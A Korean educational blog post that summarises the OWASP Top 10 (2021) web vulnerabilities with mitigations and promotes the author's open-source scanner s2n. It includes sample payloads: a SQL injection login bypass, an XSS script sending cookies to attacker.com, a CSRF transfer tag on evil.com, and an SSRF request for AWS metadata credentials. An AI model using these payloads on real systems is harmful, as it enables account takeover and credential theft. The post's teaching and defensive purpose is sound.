Skip to main content

4/22/2026

OWASP Top 10

OWASP(Open Worldwide Application Security Project) 는 웹 애플리케이션 보안을 위한 비영리 재단으로,
약 4년 주기로 실제 침해 사례·CVE 데이터를 바탕으로 가장 위험한 웹 취약점 10가지를 선정합니다.

현재 기준: OWASP Top 10 – 2021


전체 목록

순위카테고리핵심 키워드
A01Broken Access Control권한 우회
A02Cryptographic Failures암호화 결함
A03InjectionSQL·XSS·Command Injection
A04Insecure Design설계 결함
A05Security Misconfiguration보안 설정 오류
A06Vulnerable and Outdated Components취약한 컴포넌트
A07Identification and Authentication Failures인증 결함
A08Software and Data Integrity Failures무결성 결함 / CSRF
A09Security Logging and Monitoring Failures로깅·모니터링 부재
A10Server-Side Request Forgery (SSRF)서버 측 요청 위조

A01 – Broken Access Control (접근 제어 실패)

2021년 가장 빈번하게 발생한 취약점 유형입니다.

  • 문제: 사용자가 허용되지 않은 리소스나 기능에 접근할 수 있는 경우
  • 예시:
    • URL을 직접 수정하여 다른 사용자의 데이터 조회 (/user/profile?id=1234?id=9999)
    • 관리자 페이지를 일반 사용자가 직접 접근
    • JWT 토큰 없이 API 호출 성공
  • 대응:
    • 서버 사이드에서 권한 검증 (클라이언트 검증만으로는 부족)
    • 최소 권한 원칙(Least Privilege) 적용
    • CORS 정책 최소화

A02 – Cryptographic Failures (암호화 실패)

민감한 데이터가 평문으로 전송·저장되거나 취약한 암호화 알고리즘을 사용하는 경우입니다.

  • 문제: 비밀번호·카드번호·개인정보 등의 노출
  • 예시:
    • HTTP(비암호화) 통신으로 로그인 정보 전송
    • MD5·SHA-1 등 구식 해시 알고리즘으로 비밀번호 저장
    • 하드코딩된 암호화 키 사용
  • 대응:
    • HTTPS(TLS 1.2+) 강제 적용
    • 비밀번호는 bcrypt·Argon2 등 강력한 해시 알고리즘 사용
    • 민감 데이터는 저장 자체를 최소화

관련 문서: AES / DES · MD5 / SHA


A03 – Injection (인젝션)

가장 고전적이고 파급력이 큰 취약점 유형입니다.
사용자 입력값이 검증 없이 인터프리터(SQL·OS·LDAP 등)에 전달될 때 발생합니다.

SQL Injection

-- 정상 쿼리
SELECT * FROM users WHERE id='$id' AND pw='$pw';

-- 공격자 입력: id = ' OR 1=1 --
SELECT * FROM users WHERE id='' OR 1=1 --' AND pw='...';
-- 항상 TRUE → 전체 레코드 반환

XSS (Cross-Site Scripting)

인젝션의 일종으로, 악성 스크립트를 웹페이지에 주입하여 다른 사용자의 브라우저에서 실행시킵니다.

<!-- 게시판 입력란에 삽입 -->
<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

관련 문서: SQL Injection · XSS

s2n 연계

오픈소스 취약점 스캐너 s2n 은 A03 카테고리에 해당하는
SQL Injection, XSS 등을 포함해 7종의 주요 공격 유형을 DAST 방식으로 자동 탐지합니다.

  • PyPi에서 설치 후 CLI로 타겟 URL을 입력하면 런타임 취약점을 점검합니다.
  • 스캔 결과를 JSON, HTML, CSV로 Export할 수 있어 리포팅 자동화에 활용할 수 있습니다.

자세한 내용: s2n 오픈소스 회고


A04 – Insecure Design (안전하지 않은 설계)

구현 버그가 아닌 설계 단계의 결함에서 비롯되는 취약점입니다. 2021년에 새롭게 추가된 항목입니다.

  • 문제: 위협 모델링 없이 설계, 보안 원칙을 설계 단계에서 고려하지 않음
  • 예시:
    • OTP 없이 대량 계정 생성 가능한 회원가입 흐름
    • 비밀번호 재설정 시 보안 질문만으로 인증 처리
  • 대응:
    • SDL(Security Development Lifecycle) 도입
    • 설계 단계에서 Threat Modeling 수행
    • 보안 요건을 유저 스토리에 포함

A05 – Security Misconfiguration (보안 설정 오류)

잘못된 기본 설정, 불필요한 기능 활성화, 오류 메시지 노출 등이 해당합니다.

  • 예시:

    • 기본 계정(admin/admin) 변경하지 않은 채 운영
    • 스택 트레이스·디버그 정보가 사용자에게 노출
    • 불필요한 포트·서비스 개방
    • S3 버킷 퍼블릭 공개
  • 대응:

    • 최소한의 기능만 활성화(Hardening)
    • 프로덕션에서 디버그 모드 비활성화
    • 정기적인 설정 감사

A06 – Vulnerable and Outdated Components (취약하고 오래된 컴포넌트)

사용 중인 라이브러리·프레임워크·OS에 알려진 취약점(CVE)이 존재하는 경우입니다.

  • 예시:
    • Log4Shell (CVE-2021-44228): Apache Log4j 원격 코드 실행
    • 오래된 npm 패키지에 포함된 프로토타입 오염(Prototype Pollution)
  • 대응:
    • 의존성 목록(SBoM) 관리
    • npm audit, pip-audit, Dependabot 등으로 주기적 취약점 스캔
    • 빠른 패치 적용 정책 수립

A07 – Identification and Authentication Failures (식별 및 인증 실패)

인증·세션 관리에서 발생하는 취약점입니다.

  • 예시:
    • 약한 비밀번호 허용, Brute Force 방어 없음
    • 세션 ID가 URL에 포함됨
    • 로그아웃 후 세션이 무효화되지 않음
    • MFA 미적용
  • 대응:
    • 강력한 비밀번호 정책 및 MFA 도입
    • 세션은 서버 사이드에서 관리하고 로그아웃 시 즉시 무효화
    • HTTPS 환경에서만 쿠키 전송(Secure 속성)

A08 – Software and Data Integrity Failures (소프트웨어 및 데이터 무결성 실패)

CI/CD 파이프라인, 업데이트 메커니즘, 직렬화 과정에서 무결성 검증이 없을 때 발생합니다.
CSRF가 이 항목에 포함됩니다.

CSRF (Cross-Site Request Forgery)

인증된 사용자가 자신도 모르게 공격자가 의도한 요청을 실행하게 되는 공격입니다.

<!-- 공격자 페이지(evil.com)에 숨겨진 코드 -->
<img src="https://bank.com/transfer?to=hacker&amount=1000000">
<!-- 사용자 브라우저가 bank.com의 세션 쿠키를 자동으로 포함하여 요청 전송 -->
  • 대응: CSRF 토큰, SameSite 쿠키 속성, Origin 헤더 검증

관련 문서: CSRF

s2n 연계

s2n은 CSRF 취약점 탐지 플러그인을 별도 모듈로 구현하였으며,
CSRF 토큰 부재·예측 가능한 토큰 등의 패턴을 DAST 방식으로 검사합니다.

자세한 내용: s2n 오픈소스 회고


A09 – Security Logging and Monitoring Failures (보안 로깅 및 모니터링 실패)

침해가 발생했음에도 탐지·대응이 늦어지는 근본 원인입니다.

  • 문제:
    • 로그인 실패, 접근 거부 이벤트가 로깅되지 않음
    • 로그가 있어도 모니터링·알림 체계가 없음
    • 로그에 민감 정보(비밀번호·카드번호)가 포함됨
  • 대응:
    • 중요 이벤트(로그인, 권한 변경, 결제 등)는 반드시 로깅
    • SIEM 도구로 이상 탐지 자동화
    • 로그 무결성 보호 (변조 방지)

A10 – Server-Side Request Forgery (SSRF, 서버 측 요청 위조)

서버가 공격자가 지정한 내부 또는 외부 URL로 요청을 보내도록 유도하는 공격입니다.

  • 예시:
    # 외부 URL을 받아 이미지를 가져오는 기능 악용
    GET /fetch?url=http://169.254.169.254/latest/meta-data/
    # AWS EC2 메타데이터 서버 접근 → IAM 자격증명 탈취 가능
  • 대응:
    • 서버에서 허용된 도메인 화이트리스트만 요청
    • 내부 IP 대역(RFC 1918, 링크-로컬) 접근 차단
    • 응답을 클라이언트에 그대로 반환하지 않음

s2n과 OWASP Top 10

KT Cloud TECHUP 사이버 보안 과정의 팀 프로젝트로 개발한 s2n
OWASP Top 10의 주요 항목 중 DAST(동적 분석)로 탐지 가능한 취약점을 중점적으로 다룹니다.

OWASP취약점 유형s2n 지원
A03SQL InjectionO
A03XSSO
A08CSRFO
A03Command Injection 계열O (일부)
  • pip install s2n 후 CLI로 타겟 URL을 입력하면 자동 스캔합니다.
  • DVWA(Damn Vulnerable Web App) 같은 테스트 환경에서 연습하기 좋습니다.
  • 스캔 결과는 JSON·HTML·CSV 형식으로 Export가 가능합니다.

자세한 내용: s2n 오픈소스 회고


참고